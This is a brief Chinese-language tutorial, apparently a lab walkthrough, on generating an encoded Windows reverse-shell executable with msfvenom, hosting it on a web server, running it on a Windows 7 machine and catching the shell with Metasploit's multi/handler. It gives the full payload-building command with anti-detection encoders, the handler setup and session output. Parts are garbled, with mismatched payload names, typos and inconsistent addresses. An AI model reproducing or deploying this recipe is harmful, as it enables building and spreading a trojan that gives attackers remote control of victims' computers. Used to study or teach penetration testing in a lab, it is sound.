root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.16.190 LPORT=4444 -b 「\x00」 -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/windows.exe**
html
生成病毒 ,命名爲windows.exe
編輯好的病毒存放在/var/www/html/
下載好,移動到win7,
回到msf中,切換到 explpit/multi/handler/模塊中
在模塊中選擇 windows/shell/reverse_tcp. payload模塊
使用 show options 設置參數
發現 「LHOST」,"LPORT「兩個須要設置
第一個是監聽地址,第二個是監聽端口。設置好
//註釋! 若是run後出現
[-] Handler failed to bind to 192.168.16.192:4444:- - [-] Handler
failed to bind to 0.0.0.0:4444:- - [-] Exploit failed [bad-config]:
Rex::BindFailed The address is already in use or unavailable:
(0.0.0.0:4444). [*] Exploit completed, but no session was created.
是由於4444端口被佔用了,須要切換監聽端口!//
shell
run
在win7中打開剛剛上傳的病毒,等待msf終端回彈
[]Started reverse TCP handler on 192.168.16.192:4444
[
]Command shell session 1 opened (192.168.16.192:4444 -> 192.168.16.190:49158) at 2020-09-28 21:17:15 +0
[*] 192.168.16.190 - Command shell session 1 closed. Reason: User exit
輸入 sessions -i 1 便可得到
windows